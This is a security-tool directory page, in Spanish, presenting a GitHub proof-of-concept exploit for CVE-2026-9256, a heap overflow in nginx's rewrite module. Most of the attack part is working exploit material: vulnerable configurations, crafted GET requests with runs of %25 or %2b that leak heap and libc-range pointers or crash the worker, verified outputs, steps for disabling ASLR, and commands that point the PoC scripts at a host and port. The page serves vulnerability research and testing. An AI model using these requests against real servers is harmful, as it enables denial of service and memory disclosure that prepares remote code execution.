Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-9256-Poc — Demuestra el desbordamiento de búfer en el montón CVE-2026-9256 en el ngx_http_rewrite_module de nginx con scripts PoC para fugas de montón/libc y caída del worker. | Kitploit
Herramientas/GitHubGitHub/3nou9h/cve-2026-9256-poc
Forensia de MemoriaAnálisis de VulnerabilidadesExplotaciónSeguridad WebAprendizaje y EducaciónExplotación de Binarios
GitHub3nou9h/cve-2026-9256-poc

CVE-2026-9256-Poc

Demuestra el desbordamiento de búfer en el montón CVE-2026-9256 en el ngx_http_rewrite_module de nginx con scripts PoC para fugas de montón/libc y caída del worker.

Ver Repositorio
314hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Desbordamiento de búfer en el montón de nginx ngx_http_rewrite_module

Descripción

nginx Plus y nginx Open Source ngx_http_rewrite_module contiene una vulnerabilidad de desbordamiento de búfer en el montón. Cuando una directiva rewrite utiliza una expresión regular con múltiples grupos de captura PCRE superpuestos (por ejemplo, ^/((.*))$) y una referencia de reemplazo que hace referencia a múltiples capturas (por ejemplo, $1&y=$2), el cálculo del tamaño del búfer de ruta estática subestima el espacio necesario, lo que provoca que la escritura real exceda el tamaño asignado (Pool Slip). Un atacante no autenticado puede desencadenar esto mediante una solicitud HTTP manipulada, lo que resulta en un desbordamiento de búfer en el montón en el proceso trabajador. Cuando ASLR está deshabilitado o se puede eludir, es posible la ejecución de código.

Causa raíz

Archivo: src/http/ngx_http_script.c:1143-1155

root@kitploit:~
if (code->lengths == NULL) {
    e->buf.len = code->size;
    if (code->uri) {
        if (r->ncaptures && (r->quoted_uri || r->plus_in_uri)) {
            // BUG: escape overhead counted once for the entire URI
            e->buf.len += 2 * ngx_escape_uri(NULL, r->uri.data, r->uri.len,
                                             NGX_ESCAPE_ARGS);
        }
    }
    for (n = 2; n < r->ncaptures; n += 2) {
        e->buf.len += r->captures[n + 1] - r->captures[n];  // raw length
    }
}

Cada $N se escapa de forma independiente durante la copia (ngx_http_script.c:1397-1401). Las capturas anidadas hacen que la misma subcadena se escape dos veces, duplicando el costo de escape, pero la asignación solo lo considera una vez.

Fórmula de desbordamiento (anidamiento de 2 capas ((.+)), Q caracteres + en URI):

root@kitploit:~
allocated = code_size + 2*Q + 2*(Q+1)
actual    = code_size + 2*(3*Q + 1)
overflow  = 2*Q  (precisely controllable)

Condiciones de activación (se requieren las tres):

Entorno de prueba

Requisitos

  • Docker (con docker compose)
  • Python 3 (sin dependencias de terceros)

Estructura de directorios

root@kitploit:~
.
├── env/
│   ├── Dockerfile                 # Based on nginx:1.31.0
│   ├── docker-compose.yml         # Container config (SYS_PTRACE)
│   ├── entrypoint.sh              # ASLR on (default)
│   ├── entrypoint_aslr_off.sh     # ASLR off (for libc_leak)
│   └── nginx.conf                 # Vulnerable config
├── heap_leak.py                   # heap_leak PoC
├── libc_leak.py                   # libc_leak PoC
├── crash_verify.py                # crash_verify PoC
├── LICENSE
└── README.md

Construir y ejecutar

root@kitploit:~
cd env/

# Pull base image (~200MB)
docker pull nginx:1.31.0

# Build and start
docker compose up --build -d

# Verify
curl -s http://127.0.0.1:19321/
# Expected: ok

Comandos comunes

root@kitploit:~
# View nginx logs (crash info)
docker compose logs -f

# Stop and remove
docker compose down

# Restart (after crash)
docker compose restart

ASLR

Verificar estado actual:

root@kitploit:~
cat /proc/sys/kernel/randomize_va_space
# 0 = off, 1 = partial, 2 = full

heap_leak y crash_verify funcionan independientemente de ASLR. libc_leak requiere ASLR deshabilitado en el host:

root@kitploit:~
sudo sysctl -w kernel.randomize_va_space=0
docker compose restart

Alternativamente, deshabilite ASLR solo para el proceso nginx (no se necesitan privilegios de host): copie entrypoint_aslr_off.sh sobre entrypoint.sh, luego docker compose up --build -d.

Nota: los contenedores comparten el kernel del host. randomize_va_space debe establecerse en el host.

Resultados verificados

Fuga de puntero de montón

Configuración requerida:

root@kitploit:~
location /echo/ {
    rewrite ^/echo/((.+))$ /show?x=$1&y=$2 last;
}
location /show {
    internal;
    default_type text/plain;
    return 200 "x=$arg_x\ny=$arg_y\n";
}

Mecanismo: Pool Slip hace que ngx_pcalloc(r->pool, sizeof(ngx_http_script_engine_t)) caiga en la zona de desbordamiento. Los campos inicializados del motor de script (e->ip, e->sp, e->request) se filtran en la cadena de consulta de la URI reescrita y se reflejan a través de return 200 "$arg_y".

Solicitud:

root@kitploit:~
GET /echo/%25%25%25%25%25A HTTP/1.0

Resultado verificado (nginx:1.31.0, ASLR activado):

root@kitploit:~
e->ip      = 0x00006544dec82430  (config pool codes array)
e->sp      = 0x00006544dec5ada0  (request pool script stack)
e->request = 0x00006544dec58880  (request struct)

Qué se filtra: Punteros sin procesar del montón dentro del espacio de direcciones del worker de nginx.

PoC: heap_leak.py


Fuga de puntero de rango libc

Configuración requerida:

root@kitploit:~
location /leak2/ {
    rewrite ^/leak2/((.+))$ /proxy-leak?x=$1&y=$2 last;
}
location /proxy-leak {
    internal;
    proxy_pass http://backend;           # must be reachable
    add_header X-Leak-Y "$arg_y" always;
}

Mecanismo: proxy_pass desencadena la inicialización del upstream. Las estructuras del upstream que contienen punteros a funciones de biblioteca se asignan en la zona de desbordamiento. add_header "$arg_y" escribe los bytes sin procesar en la cabecera de respuesta.

Solicitud:

root@kitploit:~
GET /leak2/%25%25...(~40 x %25)...A HTTP/1.0

Resultado verificado (nginx:1.31.0, ASLR desactivado, request_pool_size=7920):

root@kitploit:~
leaked ptr = 0x00007fbfc3b7c346

Qué se filtra: Un puntero sin procesar en el rango 0x7f... (región de carga de libc). Para calcular la base de libc, lea /proc/<pid>/maps en el objetivo y calcule leaked_ptr - libc_base.

Dependencia de ASLR: Esta etapa requiere ASLR desactivado. El puntero filtrado se origina en metadatos de un chunk liberado (fd/bk → main_arena). Con ASLR activado, el desplazamiento del chunk liberado varía y los desbordamientos pequeños no pueden alcanzarlo de manera confiable.

PoC: libc_leak.py


Alternativa más simple: Usando el modo redirect (rewrite ^/r/((.*))$ http://.../?$1$2 redirect;), la cabecera Location expone directamente los bytes sin procesar del desbordamiento sin problemas de codificación de caracteres. Una sola solicitud puede filtrar punteros del montón (Q=10~450) o provocar una caída (Q >= 500), sin necesidad de proxy_pass ni pool_size especial.


Caída del worker (DoS)

Configuración requerida:

root@kitploit:~
location /leak9/ {
    rewrite ^/leak9/(((((((((.+)))))))))$ /show9?a=$1&b=$2&c=$3&d=$4&e=$5&f=$6&g=$7&h=$8&i=$9 last;
}
location /show9 {
    internal;
    default_type text/plain;
    return 200 "i=$arg_i\n";
}

Mecanismo: El anidamiento de 9 capas produce un desbordamiento = 16Q (frente a 2Q para 2 capas). Con request_pool_size=7920, Q=123 sale del límite del bloque del pool, sobrescribiendo los metadatos del chunk malloc adyacente. glibc detecta la corrupción y termina el worker. El maestro se reinicia automáticamente.

Solicitud:

root@kitploit:~
GET /leak9/%2b%2b...(123 x %2b)...A HTTP/1.0

Resultado verificado (nginx:1.31.0, request_pool_size=7920):

root@kitploit:~
Q=122: normal response  (overflow=1952B)
Q=123: no response, nginx error.log:
  corrupted size vs. prev_size
  worker process XX exited on signal 6 (core dumped)
Reproduced 5/5 times.

Anidamiento vs pool_size: N capas producen desbordamiento = (N-1)*2*Q. El pool_size predeterminado de 4096 con anidamiento de 9 capas es suficiente para causar una caída. Un pool_size mayor requiere menos capas para un Q dado.

PoC: crash_verify.py

Ejecución de los PoCs

root@kitploit:~
# Stage 1: Heap pointer leak
python3 heap_leak.py 127.0.0.1 19321

# Stage 2: libc-range pointer leak (requires ASLR off)
python3 libc_leak.py 127.0.0.1 19321

# Stage 3: DoS crash
python3 crash_verify.py 127.0.0.1 19321

Descargo de responsabilidad

Esta prueba de concepto se proporciona únicamente con fines educativos y de investigación de seguridad autorizada. El uso no autorizado está prohibido.

Descargar herramienta
CondiciónDetalle
Sin variables nombradas, sin $N duplicadoRuta estática (sc.variables==0 && !sc.dup_capture)
Grupo de captura anidado en la expresión regularp. ej. ((.+)) hace que $1 y $2 coincidan con el mismo contenido
+ o %XX en la URIActiva la ruta de escape (plus_in_uri o quoted_uri)